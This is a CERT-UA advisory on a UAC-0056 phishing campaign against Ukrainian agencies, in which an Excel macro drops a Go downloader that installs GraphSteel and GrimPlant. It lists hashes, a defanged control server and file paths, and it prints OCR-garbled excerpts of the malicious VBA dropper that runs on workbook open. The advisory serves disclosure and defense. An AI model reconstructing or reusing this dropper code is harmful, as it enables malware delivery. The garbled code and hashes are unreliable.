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UAC-0056 cyberattack on Ukrainian authorities using
GraphSteel and GrimPlant malware (CERT-UA # 4293)

General Information

The Governmental Computer Emergency Response Team of Ukraine CERT-UA received information on
the distribution of e-mails on the topic "Wage arrears" among government agencies of Ukraine. Attached
to the letter is the document "Wage arrears.xIs", which contains legitimate statistics and macros. At the
same time, hex-coded data has been added to the mentioned document as an attachment. The macro,
after activation, will decode the data, create the EXE-file "Base-Update.exe" on the computer and
execute it.

This file is a downloader developed using the GoLang programming language. The program will
download and run another bootloader, which, in turn, will download and run malware GraphSteel and
GrimPlant on your computer.

The detected activity is associated with the activity of the group UAC-0056.

Indicators of compromise
Files:

da305627acf63792acb02afaf83d94d1
clafb561cdb5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage
arrears.xls

06124dabb4d6eef31dbfd7a6094fc52a6
9e9fa8b3b0ab9762b429853a36674608df1fa7d7£7140c8fccd7¢c1946070995a Base-
Update.exe (GoDownloader)

36££9ec87c458d6d76b2afbd5120dfae
8ffe7f2eeblcbfbel58b77bbff3e0055d2ef7138f481b4dfac8adebbfb9b2blal java-sdk.exe
(GoDownloader)

4a5de4784a6005aa8a19fb0889f1947a
99a2b79%9a4231806d4979%9aa017££7e8b804d32bfe9dcc0958d403dfe06bdd0532 oracle-
java.exe (GrimPlant)

6b413beb61e46241481£f556bb5cdb69c
c83d8b36402639%ea3flad55d48edclaz22005923aecelcl826afabe?27cb3989%aal3 microsoft-
cortana.exe (GraphSteel) (2022-03-20)

Network:
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hxxp: // 194 [.] 31.98.124
hxxp: // 194 [.] 31.98.124
[.]
]

hxxp: // 194 31.98.124:
ws: // 194 [
194 [.] 31.98.124

Hosts:

-

3

31.98.124: 443 / ¢

% TMP% \ Base-Update.exe

% USERPROFILES \. Java-sdk \ Jjava-sdk.exe

% USERPROFILE% \. Java-sdk \ oracle-java.exe

% USERPROFILES% \. Java-sdk \ microsoft-cortana.exe
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Sub 06HoBNEHneBass ()

filename$ = ThisWorkbook.Sheets(3).Range
If Not FileManager.AttachmentExist(filename$)/Then
Exit Sub
End If
FileManager.GetAttachment (filename$) .Run
End Sub
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on Error Resune Next: Err.Clea
Then e e sanan - susom auanorosge oo auGopa aina
& filenane &
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bBoolean Then Exit Function

1 Varryneqnmognesuu
f1epaths = Dialosesult

If FileRange Is Nothing Then Exit Function

Status texts = Visaeucine gaina < & filename & “» w3 kAT < & Parent.WB.Name &

If Not Silenttode Then Application.StatusBar = status texts

xts = Range2Text (GetDataRange Value)

If Len(txt) = 0 Then Exit Function

status texts = flonroroskas « sanvcu faina <* & Filename & "o us ki < & Parent.W.Name &
IF'Not Silentiode Then Application.Statussar = status texts

: buffer2s = *': Const Bufferlent = 5000: t = Timer
To'Len(txt) / 2

& = Val("1" & Mid(txt, 2 %1 - 1, 2))

uffers = butfers & cr(lettérty

If Lenfoutters) ~ Buffertent T

T3S putferss & butfers: bufers = s Dotvents
| ¥ 1 Lenmmerm > BufferLens * 16 Then
ress § buffer2s: buffer:

25 =
bertent < Formet (Len{rest) 1 (Lantext) / 2) = i
If Not Silenthode Then Application.StatusBar = HCRatusthts & - oepatorano * & Percent & *

s
at (Len(ress) / 1000, ' Fii
s Fonllt((l.enktxﬂ NS " KB)"
“: ' & Fornat(Tiner :
DoEvents
End
End If
Nex
ress = ress & buffer2s & buffers .
IF Mot Sitentiode Then Debug.Print ‘CufferLen - * & Bufferlent & *, Done 1o * & Format(Tdmer - €, '0.0%) & * cexyus

If ot silentiode Then Application.StatusBar = “3aice A o 6ai © & filepaths

1\epa!h5 For Binary Access Write As #ff
Rut At ress

et Silenthode Then Application.Statusbar = False
Savehs =
End Function

Dim FileManager As New AttachedFiles, File“As AttachedFile, res As Boolean

"" Then Exit Sub

MsgBox "O6HoBneHue 6asbl He BbIMOSHEHHO, paTuTeTecb K agMuMHuUCTpaTopy",

Prwate Sub wnrkbnok Open()
Call 0BFoBrieHmeba:
End Sub

. Class Module ttachedFiles

. Ceducatidroot (Wrops) fata: 19.08.2012
. PazpaGmKa Makpocos fioGoi CroxHocT A Microsoft Excel

* http://ExcelVBA. ru/ 10Q: 5836318 Skype: ExcelVBA.ru
! PeKau3uT 413 omiaTy padori: ttp://ExcelVBA. ru/paynents

Public WB As Workbook ' KHWra, K KOTOPOA MpuKpenneHsl ¢ainsl. Mo-ymondakuio - Tekywas KHura

Public AutoSaveWorkbook As Boolean
Public SilentMode As Boolean ' He BMBOQUTb HAKAKWX COOGUEHWA, B T.4. B CTPOKY COCTORHMA
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